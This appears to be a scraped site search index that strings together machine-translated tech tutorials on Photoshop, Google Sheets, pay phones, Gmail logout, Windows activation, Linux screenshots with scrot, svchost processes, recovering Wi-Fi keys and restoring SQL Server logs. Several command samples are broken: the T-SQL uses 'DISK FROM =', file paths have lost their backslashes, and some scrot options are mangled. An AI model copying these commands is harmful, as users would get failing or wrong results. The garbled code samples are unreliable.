ncG1vNJzZmismaXArq3KnmWcp51ktaa%2BxKxkoaenYrZutMCcomZsYGLEpq7Soqueq12eu26DjKagp62kmsA%3D\n","link":"/post/here-s-how-i-hack-40-websites-in-7-minutes/","section":"post","tags":null,"title":"Here's how I hack 40 websites in 7 minutes"},{"body":"In addition to being a professional photo editing software, Photoshop also gives you lots of tools to design and draw whatever you want. For example, to draw a triangle in Photoshop, we have lots of different drawing tools and options. The drawing tools are very simple and you can add colors or create a border for the triangle after drawing. The following article will guide you how to draw triangles in Photoshop.\n1. Draw a triangle with the Polygon Tool Photoshop At the interface on Photoshop we click on the Polygon Tool as shown below.\n  Next we set the strokes as below:\nShape: Choose sharp drawing Fill: The color map for the triangle. Stroke: Select the border for the triangle. Sides: Select the side of the triangle, the number of sides is 3.   Next, hold and click and drag to form a triangle as shown below.\n  2. How to draw a triangle with a Pen We click the Pen Tool to draw the triangle, then proceed to customize the colors and borders for the triangle.\n  Next, we click in Photoshop to create the first corner score , and then click the other two corners in turn to form a triangle. Finally click again on the first point to form the triangle.\n  3. Draw a triangle using the Custom Polygon Tool First choose the Custom Shape Tool as shown below.\n  Then look up, select Shape, then click the triangle icon to select the type of drawing you want. We will select the Shape item in the display list to display the drawings.\n  Finally we have the triangle as below.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyilsRuwNGimKefnJrAbrXNZqehp6SkwKm7zw%3D%3D\n","link":"/post/how-to-draw-triangles-in-photoshop/","section":"post","tags":null,"title":"How to draw triangles in Photoshop"},{"body":"Express data by chart types such as pie charts, column charts, line charts, etc., making it easier for readers to read and understand when looking at dry numbers.\nA chart has a clearer note than a spreadsheet with complex numbers and percentages. If a chart doesn't have a caption, that chart is completely useless because no one can understand what it wants to show. Therefore note in the chart is extremely important, is an indispensable part in the data set. Here are some customizations that make your notes more neat and understandable in Google Sheets.\nHow to create graphs, charts in Google Sheets How to insert Google Sheets charts into Google Docs How to format conditional cells in Google Sheets How to add and format notes in Google Sheets on a computer Notes in the chart are like street signs. It is basically labels that describe part of a chart that contains at least two elements. To display and edit chart notes follow the steps below.\nStep 1 . Be sure to select the first and the first row of data while creating the chart. If the default note does not appear, click on the chart to activate the Chart Editor. Next select the Setup tab and scroll down until you see the checkbox.\n  Select the second and third boxes to display chart notes.\nStep 2. Next, select Customize\u0026gt; Legend and click Position to change the note location.\n  You can also change the font, format or text color to highlight them. Note, however, that the note must be the same color as the column it explains in the chart. When changing the note color, the column color also changes.\nTo do this, double-click the column (or line in the case of the line chart) to activate the Series . Now change color according to your preference.\n  To change the color of the remaining elements, choose a color from the drop-down menu.\nHow to add and format notes in Google Sheets on your phone Adding and formatting notes in Google Sheets on the phone is simple. Access to Edit mode, select notes and location.\n   Adding or changing the color is the same as on the computer, touch the column and the color option will appear.\n   Currently, you cannot change the note text here. To edit a note, you need to edit the text in the data column.\nFormat each data label in Google Sheets Data labels are just as important as notes. However, unlike notes, data labels are not automatically added, so you need to add them manually.\nStep 1. Double-click the chart to open the Chart Editor, click the Customize tab, and click the Series drop-down menu.\nStep 2 . Now, select the Data labels checkbox to add to the chart, adjust your desired position.\n  In addition, you can edit the font, size and font color here.\n  Step 3 . To add an image to the data label, tap Point and select the image you want to display on the chart. Note, these images are for line charts only.\n  Tip: You can display trend changes via Trendline option ( Customize\u0026gt; Series ), similarly if you want to delete other bars, just select the option Error bars .\nThe mobile version of Google Sheets is limited, you cannot add data labels on your phone.\nAdd or delete grid lines Google Sheets does a pretty good job of calculating and displaying grid lines. However, sometimes these lines don't appear the way you want. You don't need to worry because you can change or modify it easily.\nGo to Customize\u0026gt; Gridlines and select Major gridline count .\n  If you don't need this grid line, just select a number from the Minor gridline count drop-down menu. You also cannot make this change from the mobile version.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2UnsFur8eaqa1lnqTBpr%2BMoqVmn5%2BktK2xjKyfnp2kqA%3D%3D\n","link":"/post/how-to-edit-chart-notes-in-google-sheets/","section":"post","tags":null,"title":"How to edit chart notes in Google Sheets"},{"body":"Pay phones used to be on nearly every street of every major city, and they were nearly as common in suburbs and small towns as well. The prevalence of cell phones has eliminated the utility of pay phones, and as a result they have become...\nMethod 1of 2:\nLooking for Pay Phones in Common Places  Check gas stations and convenience stores. Though pay phones are disappearing from these locations as well, many still have them.\n  Search inside of transit hubs. Public transit stations and centers in many towns still have a pay phone or two. However, these are sometimes not in good condition due to heavy use and neglect by their owners.[1] Subway stations and the largest local bus terminals often have pay phones. The stations of interstate bus companies, especially those of Greyhound, often still have pay phones.Greyhound stations are worth mentioning in particular because, in many larger cities, they are open 24 hours and have several pay phones that are in good repair. Major airports, and most smaller ones as well, usually have some pay phones around. Airport managers seem to realize that people traveling often leave certain vital things at home. International travelers are also in need of pay phones if they have not purchased special ones for the country they are traveling to. As a result, airports still have large numbers of pay phones.   Look for local government and community centers. Government buildings, such as the county's courthouse, often have payphones. Every county in the United States has their own courthouse or some form of office, which are generally home to pay phones which are accessible to the community. Because people in courthouses often have important messages that they need to share with family members, there seems to be an understanding that pay phones can provide a needed service. Outside of courthouses, you might also want to try these: Post offices frequently have pay phones. Again, these are public use facilities, and pay phones can be a useful connection in such places. Public libraries often have pay phones as well, and most of those that do not usually offer internet service. If they do not have pay phones, you can at least use resources there to find one.  Method 2of 2:\nSearching for Hard-to-Find Pay Phones  Use a website to find pay phones near you. If you have access to the internet you can search certain websites for information about pay phones near your. There are now a number of websites that list pay phones in most states of the United States, as well as a few places overseas. These websites are creations of a community of online users who want to create catalogs of useful information--sounds familiar, right? That is both the advantage and disadvantage of these sites; in places where many users want to make information accessible, they are often quite good, but where there are few people engaged with this sort of online activity the quality is lacking. Still, you are looking for options, and so here are a few examples: The website Payphone Directory offers a list of pay phones by city and state. The search options on the sight are a bit limited, but the list of phones is extensive.[2] Waymarking.com is a site that is great for finding information on things near your location. If you are searching for something nearby--including a pay phone--just type the name of the item in the main search box and then add the name of your location. A list of options will appear, and a map will show you where they are located.[3]   Ask local people where a pay phone can be found. Because of the increasing scarcity of pay phones, you may have your best luck by simply asking the people who know the area well. For rural areas where the population tends to be older and internet connections are harder to have at home, there will be little information about payphones on any website. If you are in an emergency or have an urgent call to make, you will probably have to ask people for help.\n  Use a website to look up pay phones by their number. If instead of looking to make a call you are hoping to find out who is calling you, then you need a different kind of website. If you are receiving harassing phone calls and you find out they are coming from a pay phone, you can sometimes look up the location of the phone by using the number. Mcpayphone is an example of one such site. It lists pay phones throughout the U.S. with a focus on the phone number of that pay phone. There are also physical addresses on the site, and this can be especially useful if you are trying to identify the location of a stalker.   Isabella Humphrey Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6Zo7FurYypmLJloJ28r7E%3D\n","link":"/post/how-to-find-a-pay-phone/","section":"post","tags":null,"title":"How to Find a Pay Phone"},{"body":"Sometimes for some reason you want to log out of gmail on your phone, but you don't know how to log out of Gmail on your phone? So please refer to the following article to know how to log out of Gmail on Android phones, iPhones and iPads.\n  Below the article shows you how to log off gmail on Android, Iphone and Ipad phones to invite you to follow along.\nLog out of Gmail on Android phones The gmail account is the Google account, syncing all the data of the applications on your phone. The only way to log out of the app is to delete your entire account from the phone (note: delete the account on the phone, not the account, is that account still used by other devices or when you log back in to the phone).\nYou can also log in to another Google account to log out of your Google account. Here are two ways to help you log out of your Gmail account on Android phone, let's do it together.\nMethod 1: Delete Google account from your device. You delete Gmail account (Google) as follows:\nStep 1 : Open the Settings section of the phone.\n  Step 2: Navigate to and select the Accounts and sync section.\n  Step 3 : Continue to choose Google .\n  Step 4: In your account name, select the Add icon and select Delete account . So you have logged out of gmail account on gmail application.\n  Method 2: Log in with another gmail account Step 1 : Open the Gmail app on your phone.\n  Step 2: On the gmail application interface, select the Menu icon .\n  Step 3: Click on your account name and select Add account.\n  Step 4: In gmail setup, select Google and follow the steps on the screen to add your account.\n  Step 5 : After you have added another google account to your phone, open gmail application, on the gmail interface, select the Menu icon .\n  Step 6: Select the username, then select the account you want to use to log out of the current account.\n  Log out of Gmail on Iphone and Ipad phones Method 1: Delete Google account from your device Step 1: Open the Gmail app on your phone.\n  Step 2 : On the Gmail application interface, select the Menu icon\n  Step 3: Click on your account and select Manage account.\n  Step 4: On the account interface, select Edit.\nNote: To add another gmail account, select Add account and make another gmail account\n  Select Delete to log out of Gmail account.\n  Method 2: Log in with another account Step 1 : First you open the Gmail application.\n  Step 2: On the application interface, select the Menu icon .\n  Step 3: Click on your gmail address and select the gmail account you want to use to log out your current gmail account.\n  Above the article has detailed instructions you how to log out of Gmail on Android phones and Iphone, Ipad. Which device do you use to perform operations with that phone. Hopefully through this article you will understand and can easily log out of Gmail on your phone.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSfnHqwwdNmpp9ll6KuqriMqKVmsZ%2Bqv268x6ilng%3D%3D\n","link":"/post/how-to-log-out-of-gmail-on-your-phone/","section":"post","tags":null,"title":"How to log out of Gmail on your phone"},{"body":"On Windows 10 Anniversary Update, Microsoft has changed some features, including activate. Also starting from Windows 10 Anniversary Update, the Product key will not only be attached to your hardware, but you can also link the Product key to your Microsoft account.\nThis new feature allows you to activate Windows 10 without having to contact Microsoft when you change hardware on your computer, including replacing a motherboard, processor ( processor) or hard drive.\n  How to link copyrighted Windows to a Microsoft account? To make sure everything works properly, you first need to make sure Windows 10 is activated properly. To do this, follow the steps below:\n1. Open Settings.\n2. On the Settings window, find and click Update \u0026amp; security.\n3. Next click on Activation.\nOn the Activation window, you will see the message \"Windows is activated with a digital license\" (or product key).\nNow you can make sure your Windows 10 has been activated properly. The next step is to add the Microsoft account you want with the Product key. It should be noted that the process will change your account from Local account to Microsoft account.\n1. Open the Settings window .\n2. On the Settings window, find and click on Accounts.\n3. Next click on Your info.\n4. Click the Sign in link with your Microsoft account instead.\n  \n5. Complete your login information.\n6. Click Sign in.\n  \n7. Enter your current password.\n8. Click Next .\n  9. Click Set a PIN or click the link Skip this step to complete the process.\n  After you have completed the above steps, you can delete your Microsoft account.\nYou can now check whether the digital license - the new Windows 10 copyright system is linked to your Microsoft account by following the steps below:\n1. Open Settings .\n2. On the Settings window, click Update \u0026amp; security.\n3. Click on Activation .\n  On the Activation page you will see the message \"Windows is activated with a digital license linked to your Microsoft account\".\nAlternatively you can use the web browser to log in to your Microsoft account and navigate to Devices. If you see that your computer is listed here, it means that your Microsoft account is already linked to Windows license.\n  Refer to some of the following articles: How to deactivate Windows Product Key and use it on another computer? Instructions for changing Product key on Windows 10 No need to install any software, this is how to find the Windows Product Key Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWakmaO4qrrGZq6ippSkxLR5kGlkqaqfmcKkwIyknLJlpKR6rrXCq6asp5apeqKvwqisp6w%3D\n","link":"/post/instructions-for-linking-windows-10-product-key-to-microsoft-account/","section":"post","tags":null,"title":"Instructions for linking Windows 10 Product key to Microsoft account"},{"body":"The Linux operating system is a powerful and diverse operating system, so the screen capture tools for this platform are also powerful and varied. The variety of screen capture tools includes a simple and easy-to-use command line tool for scripting, and automatic screen capture.\nTake a screenshot of Linux using GNOME screenshot, Ubuntu's default tool Ubuntu, like many of the Linux-based versions of GTK, comes with the default GNOME screenshot screen capture tool, which is one of the easiest and easiest to use screenshot tools available on Linux. GNOME screenshot is capable of capturing the entire screen, specific windows and manually selected rectangular areas. If more time is needed while shooting, you can add time delay for full screen shots and window shots.\n  GNOME screenshot supports several effects including mouse pointer, add shadow, border or even Vintage effect. The simplicity of this tool is also a limitation, its effects are only available when taking screenshots of the current window. For example, manually selected region mode cannot use any effects.\nUsing If not, install GNOME screenshot using the package manager of the version you are using. Ubuntu, Ubuntu MATE, Ubuntu GNOME and many other versions will be available for GNOME screenshot. Then, launch GNOME screenshot by searching for it in Ubuntu Dash or the distro application menu.\nTaking a screenshot is simple: select the type of screenshot you want (Whole Screen, Window, or Selectable Region), select any option you want and click the ' Take screenshot ' button. From there, you can save the image to the computer or copy it to the clipboard.\nGNOME screenshot is usually the default screen capture tool for most desktop versions based on GTK like GNOME, MATE, LXDE, Cinnamon, Budgie, Pantheon and other versions. However, XFCE has its own tool called \"Xfce4-screenshooter\". XFCE's tool is practically the same as GNOME for the process, but XFCE chose to support the ZimageZ image server instead of the visual effect.\nTake a screenshot of Linux with Spectacle of KDE for more options Spectacle is the default screen capture utility for Kubuntu 16.04 and other KDE Plasma-based versions. Spectacle replaces KSnapshot as the official KDE screen capture tool that started with Plasma 5.5. Spectacle is a great combination of simplicity and robustness. Spectacle offers all the same features as GNOME screenshot, sound effects, but also has many additional features for users to set up themselves. Spectacle also allows the use of all these features in all modes used.\nSpectacle is capable of capturing the entire screen, a specific screen part, a specific window, a manually selected rectangular area and even a dialog window / pop-up window specified. All of these modes are capable of including the mouse pointer and adding latency to the shooting process.\nSpectacle comes with excellent time-saving capabilities such as automatic file name selection with custom date format and the last manually selected region. When the screenshot is taken, you can save it to the computer, copy to clipboard, open it directly in another application, or automatically upload it to Imgur or Twitter.\nUsing:\nIf you do not have Spectacle, install it using the package manager of the version you are using. Kubuntu, KDE Neon and many other versions have installed Spectacle. Then launch Spectacle from the App Menu , select the type of screenshot you want, and click the \" Take New Screenshot \" button. Click ' Export to ' to save or upload images or copy images to the clipboard if you want to paste elsewhere.\n  Capture, edit and export Linux screenshots with Shutter Shutter is one of the most powerful screenshot tools available for Linux and probably for any platform. Shutter includes standards like full screen shots, specific windows and manually selected areas, but Shutter has even more features of the standard screen capture tool. Shutter's diverse features also include Magnifier for magnifying glass to select the region, take pictures without a browser, take Tooltip photos, expand export tools, Plugin system and even image editor. it's own.\nShutter's export system supports custom FTP servers and cloud services like Imgur, Dropbox, ToileLibre, Minus and many other services. Shutter supports uploading accounts based on these services through a combination of OAuth or username / password.\nShutter's Plugin system provides an impressive set of effects and tools that can be automatically applied to any image uploaded during the session. Shutter's effects and tools include red, gray, watermark, torn paper, auto-resize, auto-cut and many other things.\n  Shutter's integrated image editor offers a wide range of basic features like adding text and cropping. The most interesting feature of the editor is the ability to highlight elements with arrows, drawing shapes and, of course, a marker tool. However, sometimes you may want to share a screenshot but limit some data from the view. Shutter provides this functionality with censorship and Pixelation tools to keep data from being exposed. The editor also comes with an automatic image creation tool that can be added to screenshots that help Shutter to be the perfect screen capture tool for step-by-step instructions.\nUsing:\nTo use shutter, download and install it from the home page or package manager in the current version, if available. Then just launch the application from the application menu, select the type of screenshot you want to make and press 'Enter' to complete the shooting process. When done, you will have a lot of options to do with that screenshot.\n  Capture Linux desktop from Command Line For advanced users, Linux command line functions can be very important, which is where Scrot and Maim impact.\nScrot (SCReenshOT) is a screen capture utility that uses the imlib2 library to save images. Developed by Tom Gilbert, it is written in C programming language and licensed under BSD License.\nThe majority of the features provided by the GUI application (Graphical User Interface) are available in both software but can also use one of two tools for automatic screen capture, screen capture Remote calculation via SSH and many other features.\nScrot is a comprehensive tool for command line screen capture, as it provides options for adding latency, quality control, area selection, thumbnail creation and more.\nBesides, maim takes a simpler approach by relying on other tools to improve functionality. For example, with maim, if you want to take a screenshot of the current window, you will need to combine the use of 'xdotool'. Both of these applications are great for command line screenshot but you will need to decide which method is best for you.\n  Using:\nScrot and maim will be more complicated if we dig deeper, but the basics are quite simple. Install scrot or maim from the repository of the current version and run scrot filename.jpg or maim filename.jpg to take a screenshot. Read through the manpage of each command for more details on what you can do - for example, you can set the current date for the file name or change the location to save the screenshot.\nThe following is a detailed tutorial for scrot. Please note that all the examples in this tutorial are conducted on Ubuntu 16.04 LTS and the scrot version 0.8.\nInstall Scrot:\nThe scrot tool may already be preinstalled on Ubuntu. If not found, you can install it using the following command:\n sudo apt-get install scrot  Once the tool is installed, you can launch it using the following command:\n scrot [optional] [filename]  Note: The parameters in [] are optional.\nUsage and features of the Scrot:\nIn this section, we will discuss how to use the scrot tool and all the features it provides.\nWhen the tool is run without any command line options, the scrot captures the entire screen.\n  By default, the captured file is saved with the date stamped in the current directory, you can also specify the name of the captured image when the command is run. For example:\n scrot [image-name] .png  Download the application version:\nIf you want, you can check the scrot version using the -v command line option.\n scrot -v  Here is an example:\n  Take the current window:\nUsing this utility, you can limit screen shots to the currently targeted window. This feature can be accessed using the -u command line option.\n scrot -u  For example, this is the desktop when executing the command on the command line:\n  And here is the screenshot taken by the script:\n  Choose a window:\nThis utility allows you to capture any window by clicking on it through the use of the mouse. This feature can be accessed with the -s option.\n scrot -s  For example, as you can see in the picture below, there is a screen with two terminal windows overlapping. In the above window, run the scrot -s command.\n  Now suppose, if you want to capture the terminal window below, simply click the window when the command is executed - the execution of the command will not complete until you click somewhere on the screen.\nThis is the screenshot taken after clicking on the terminal window:\n  Note: As you can see in the snapshot above, any area that is captured includes the bottom window being hidden and the overlapping section with the top window.\nCapture both window borders in screen shots:\nThe -u command line option that we discussed earlier does not include the window border in the screenshot. However, you can include the border of the window if you want. This feature can be used by using the -b option (combined with the -u option).\n scrot -ub  Here is a screenshot for example:\n  Note: Some background areas around the border of the window are also added to the screenshot.\nTime delay when taking a screenshot:\nYou can set the delay time while taking a screenshot. To do this, you must assign a numeric value to the --delay or -d command line option.\n scrot --delay [NUM] --delay scrot 5  Here is an example:\n  In this case, the scrot will wait 5 seconds and then take a screenshot.\nCountdown before screenshot:\nThis tool also allows you to display the countdown while using the time delay option. This feature can be enabled using the -c command line option.\n scrot –delay [NUM] -c scrot -d 5 -c  Here is a screenshot for example:\n  Image quality:\nUsing this tool, you can adjust the quality of screenshots at a rate of 1-100. High value means large size and low compression. The default value is 75, although the effect varies depending on the selected file format.\nYou can access this feature by using the --quality or -q option, but you must assign a numeric value for this option from 1-100.\n scrot –quality [NUM] scrot -quality 10  Below is a sample photo:\n  So, you can see that the quality of the image is greatly reduced when the -q option is assigned a value close to 1.\nCreate thumbnail:\nThis utility also allows you to create thumbnails of screenshots. This feature can be accessed using the --thumb option. This option requires a NUM value, which is basically the percentage of the original screenshot size.\n script --thumb NUM scrot --thumb 50  Note: --thumb option ensures that screenshots are captured and saved at the original size.\nFor example, this is the original screenshot taken:\n  And the following are saved thumbnails:\n  Show multiple screenshots:\nIn case your device has multiple monitors attached, scrot allows you to take and display screenshots of all these screens. This feature can be accessed with the -m command line option.\n scrot -m  Below is a sample photo:\n  Perform actions on saved photos:\nUsing this tool, you can perform various operations on saved images - for example, opening a screenshot in the image editor like gThumb. This feature can be accessed with the -e command line option. Here is an example:\n scrot abc.png -e 'gthumb abc.png'  Here, gthumb is the image editor that will automatically launch after the user runs the command.\nThe following is a snapshot of the command:\n  And this is the result of the above command:\n  So you can see that the scrot command took the screenshot and then launched the gThumb image editor with the image taken as an argument.\nIf you do not specify a name for the screenshot, the snapshot will be saved with the file name with a date stamp in your current directory - this, as we mentioned earlier, is the default behavior of the collection process.\nThis is an example of the command -e option, which scrot uses the default name for the screenshot:\n scrot -e 'gthumb $ n'    It is worth mentioning that $ n is a special string, providing access to the screenshot name. For more details on special sequences, go to the next section.\nSpecial series:\nThe -e (or --exec) parameters and file names can use formatters when used with scrot. There are two types of parameter formats. The first type is the preceding character '%' used for date and time formats, and the second type is for internal filtering and the prefix is ​​'$'\nSome specifiers are identified by the --exec parameter and the file name below.\n$ f - provides access to the screenshot path (including file name). For example:\n scrot ashu.jpg -e 'mv $ f ~ / Pictures / Scrot / ashish /'  Below is a sample photo:\n  If you do not specify a file name, then the script will by default save the snapshot in a date stamped file format. This is the date stamp file format by default used in scrot:% yy-% mm-% dd-% hhmmss_ $ wx $ h_scrot.png\n$ n - provide snapshot names. Below is a sample snapshot:   $ s - grant access to the size of the screenshot. This feature, for example, can be accessed in the following way:  scrot abc.jpg -e 'echo $ s'  Here is a sample photo:\n  Similarly, you can use other special strings $ p, $ w, $ h, $ t, $$ and n to provide access to image pixel size, image width, and image height. , image format, $ symbol and grant new line access respectively. For example, you can use these strings in the same way as the $ s example we discussed above.\nThis utility is easy to install on Ubuntu systems, the use is also quite simple for beginners. Scrot also provides some advanced features like special strings that can be used by professionals. You can find out more in case you want to use them.\nSee more:\nInstructions for taking screenshots that contain mouse cursors in Windows 15 useful screen capture applications for Windows How to use iTunes on Linux? ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaskaC2r7OMrJqrnZWjwKm706xkqJ5dobavwddmmqiloKrBpr7S\n","link":"/post/instructions-for-taking-screenshots-of-linux-computers/","section":"post","tags":null,"title":"Instructions for taking screenshots of Linux computers"},{"body":"Svchost Viewer is a small application that lists all running svchost.exe processes, how much memory each process is using, and what services are running under it.\n  Use Svchost Viewer \n Svchost Viewer does not require installation and can be run directly on USB, easy to control when a problem occurs. Just double-click the application to run, and then click Yes if the following dialog box appears:\n  It takes a while to complete the scan, you will see the svchost.exe process number running along with the service name, description, usage memory and program path.\n  This application is a great little tool to see what really is working on your computer. Svchost is an open source application, requires .Net 2.0 and only works on XP (SP2), Vista and Windows 7.\nDownload here .\nncG1vNJzZmismaXArq3KnmWcp51kwLevx6iqrWWmnrK4sdFmo6inm2Kyua3CraOyZZGperTCwqGmrKyVrbJuvNGomp6ro5rA\n","link":"/post/look-exactly-at-svchost-exe-processes/","section":"post","tags":null,"title":"look exactly at svchost.exe processes"},{"body":"Network Administration - Have you ever forgotten a WEP or WPA key or password for your Wi-Fi network? In this tutorial, I will show you how to fix if you drop the case like this, restore or reset and secure the network password .\nWant to connect to a Wi-Fi network but you forgot your password or network key? In this case you can solve the problem in several ways:\nFind the WPS or PIN button to automatically configure your security settings. Restore the key from another computer still connected to the wireless network. Reset the wireless router to the original factory settings. Here we will look at these methods. Start by using the previous WPS or PIN button.\nUse the WPS or PIN button\nIf the wireless router supports Wi-Fi Protected Setup (WPS), you may not need to find the encryption key to connect. The process will be like programming a remote control for a car garage door. Start by searching on the WPS or security button router, or a WPS personal identification number (PIN) printed on its label. (If your router doesn't have this button or PIN, skip this technique).\n  Note : Do not confuse the WPS or security button with the router's reset button, the reset button is usually located next to the ports behind the router.\nFor this method to work, the computer or device you want to access must also support WPS. Windows 7 supports WPS. If you are using a different version of Windows or other device type, browse to the wireless settings page to see if WPS is supported. If you have installed a certain wireless connection manager from Windows, it may support WPS.\nIf both routers and devices support WPS, then you are ready to test this method. If the router has a button, press it, then try connecting to the wireless network. If the router has a PIN instead of a push button, try connecting to the network; You will see a prompt asking for a PIN. In this case, the router will also transmit the network key and configure the device for you.\nRestore keys with WirelessKeyView\nIf at least one Windows computer can connect to a Wi-Fi network, you can retrieve the key that has been stored. Obviously, it is not possible to simply open the wireless network profile to see the key, because Windows will encrypt these keys. However, you can use third-party tools, such as WirelessKeyView, to recover and decrypt your keys.\nTo use WirelessKeyView, visit its site and download the WirelessKeyView program. Then you need to extract the file or run the WirelessKeyView.exe program directly from the compressed folder. When running, the program will scan and show you all network keys saved to Windows. Copy the network key in hexa format and make the connection.\nRestore default settings\nIf your device does not support WPS and even no computer can access the network, the best way you can do this is to restore the router to its original settings (factory settings ). It should be noted that when you implement this method you will have to reconfigure all your custom settings, such as network name and network key.\nBefore performing this method, please refer to the installation instructions and installation CDs that came with the device. If you don't see them, you can download these details from the device support section on the manufacturer's website.\nWhen ready, find the small reset button located behind the router. Some reset buttons require you to use protective pins; others you can press with a ballpoint pen. Press and hold this button for about 20 seconds. Then release and wait for a minute or two for the router to reset and restart itself. You will then be able to connect to the default network name, which is usually the name of the carrier. When the operation returns to normal, you need to reconfigure security (usually WPA2) on the router and then on your computers.\nBusinesses: Replace keys with Username and Password\nIf you are working with a network used by a business or an organization, you probably won't use password-protected encryption keys, but instead will use the Enterprise mode of WPA encryption or WPA2. In this mode, you connect to the network using the username and password.\nBecause network keys are securely managed in the background, this mode protects you from thieves and other malicious employees. For example, if you are using a simple Personal mode or pre-shared key (PSK) pre-shared key of WPA or WPA2, then the real encryption key will be saved on the end-user computers and devices. . If your laptop or device is stolen or lost, the bad person or someone who picked up your device will be able to access the network key. Conversely, if you use the Enterprise mode, you only have to cancel the user account or change the password to prevent a former employee of the company from accessing your network. That method is much easier than changing the encryption key on all your computers!\nOne problem you might encounter when using Enterprise mode is that, it requires an external server, which is still called a RADIUS AAA server, to perform 802.1X authentication. Setting up your own server can take a lot of time and money, so you may need to consider hosting services like AuthenticateMyWiFi.\nLock protection!\nNow that you finally have your encryption key and password, remember it! If you work in a home network, you might consider protecting your key or password with a text file and placing it in your personal file. Another way to do this is to write your key and password in a small piece of paper and paste it on the back of your router. This way, you will always know where to find it.\nncG1vNJzZmismaXArq3KnmWcp51kv6a%2F06ipnmWRo7Fuv8ScrKudXay2p7WMnqWcqqmlwaq7zWainrE%3D\n","link":"/post/restore-and-secure-wi-fi-encryption-key/","section":"post","tags":null,"title":"Restore and secure Wi-Fi encryption key"},{"body":"Network administration - Backup is a part of the work that needs to be done during the SQL server upgrade and operation. And the rest of the work is that the restore process is performed every time the SQL server has an error. One of these situations may be related to the restore from the Transaction Log file Backups. Transaction Log (also known as Database Log or Binary Log) is an action history executed by the database management system to ensure ACID (atomicity, consistency, isolation, durability) properties when the system is error. There is a problem with Transaction Log Backups that require a restore from multiple files rather than just a full backup file. To successfully restore the database, you must use every file Transaction Log Backups that have been created and they must be restored in order when created. If a Transaction Log Backup file fails, you will not be able to restore any Transaction Log Backup files after that error file. They need to be restored in order and you cannot ignore any files. The above are 5 basic steps to take when performing a restore to a SQL database from Transaction Log. Step 1: Backup the Transaction Log operation In case the SQL server fails and you need to restore to another server, you first need to backup the Transaction Log operation to save the existing transactions that have not been backed up to an existing Transaction Log Backup. . To create Transaction Log Backup, please use the command with the following syntax: BACKUP LOG Northwind \n TO DISK = 'C: SQLBackupNorth.bak' \n WITH NO_TRUNCATE \n Where C: SQLBackupNorth.bak is the address to save the Transaction Log Backup file. This command will create another Transaction Log Backup that will be used during the restore process. \n Step 2: Determine the data to restore If you do not know any important information in the database that needs to be restored, then you should query the SQL server manifest in msdb, which will display all backup files on the server, including Backup files are created with Maintenance Plans, wizards in Enterprise Manager, T-SQL commands and other third-party tools using the integrated SQL Server feature to create backup files. In msdb will contain the following table types: backupfile - Contains a record for each data or Log file that has been backed up.  backupmediafamily - Contains a record for each vehicle group.  backupmediaset - Contains a record for each backup tool set.  backupset - Contains a record for each backup file group. If you want to perform a complete restore process, you must first make a Full Backup including Differential (update file) and Backup Logs for Differential. The above tables will display the backup file done first, so you need to find the latest Full Backup file and other backup files created after performing a Full Backup. Step 3: Check the contents of the Backup file In addition to the RESTORE command, which restores backup files, some other RESTORE commands allow you to check the contents of backup files. These commands include RESTORE HEADERONLY and RESTORE FILELISTONLY . RESTORE HEADERONLY This command allows you to check the general information of all backup files on a specific backup tool. This command is useful when you need to restore from multiple backup files or if the backup file is from another server that you do not manage. To check what is stored in that backup file, run this command in Query Analyzer. RESTORE FILELISTONLY This command allows you to check the database list and log files in the backup file group, the size of the data and the Log files. LogicalName and PhysicalName are the main data components used during the restore process. The command syntax is in the form: RESTORE FILELISTONLY FROM DISK = 'C: SQLBackupNorth.bak' Step 4: Select the restore option There are several options to apply when restoring the backup file, including the Transaction Log Backup files. Here are some restore options: NORECOVERY This option allows to restore additional backup files. You can use it when restoring Full, Differential or Transaction Log Backup. Use the following command: RESTORE DATABASE NORTH FROM DISK = 'C: SQLBackupNorth.bak' WITH NORECOVERY RECOVERY This is the default option if no options are selected. This hconj option will be applied to the last restore process. When applied, you cannot restore additional backup files; if you want to restore additional backup files, you must perform a restore from scratch. This option can be used when restoring Full, Differential or Transaction Log Backup. To select this option, use the following command: RESTORE LOG NORTH \n DISK FROM = 'C: SQLBackupNorth_Log.bak' \n WITH RECOVERY \n STANDBY This option allows you to switch the database to Read-Only mode, but it still allows to restore additional Transation Log files. This option can be used when restoring Full, Differential or Transaction Log Backup. The option to select this option takes the form: RESTORE LOG NORTH \n DISK FROM = 'C: SQLBackupNorth_Log.bak' \n WITH STANDBY = 'c: undo.ldf' \n MOVE When restoring the database to another server, you may have to use the MOVE option if the servers are not installed by the same method. As mentioned above, when using LogicalName and PhysicalName from the RESTORE FILELISTONLY command. The MOVE option allows you to move physical files to another location on the server. This option should be used for all backup file types including Full, Differential and Transaction Log. The option to select this option takes the form: RESTORE LOG NORTH DISK FROM = 'C: SQLBackupNorth_Log.bak' WITH RECOVERY, MOVE 'Northwind_Data' TO 'c: dataNorthwind.mdf', MOVE 'Northwind_Log' TO 'c: dataNorthwind _log.ldf' Step 5: Select the Restore time In addition to completely restoring Transaction Logs, SQL Server also has options to stop at a specific time or transaction mark. You can choose these options when you know when or where errors occur on this database, you can restore database transactions for a specific point to avoid errors. For example, if someone deletes every record in a table, you may want to restore the database to a point before restoring it to the table that was deleted. STOPAT This option restores every delivery performed up to a certain time. For example: RESTORE LOG Northwind \n DISK FROM = 'C: SQLBackupNorth_Log.bak' \n WITH RECOVERY, \n STOPAT = 'Sep 22, 2009 09:00 AM' \n The next two commands help you recover transactions that use transaction marks that must be named transactions used in the application. If using unnamed transactions, this option will not work. STOPATMARK With this option you can restore all transactions that occurred until the Invoice1024 transaction milestone. Add commands with the following syntax to select this option: RESTORE LOG Northwind DISK FROM = 'C: SQLBackupNorth_Log.bak' WITH RECOVERY, STOPATMARK = 'Invoice1024' STOPBEFOREMARK This option restores all transactions performed before the Invoice1024 transaction milestone. To use this option, please add the command with the following syntax: RESTORE LOG Northwind DISK FROM = 'C: SQLBackupNorth_Log.bak' WITH RECOVERY, STOPBEFOREMARK = 'Invoice1024' Some recovery options can be used for all backup files and certain options can only be used for Transaction Log Backup 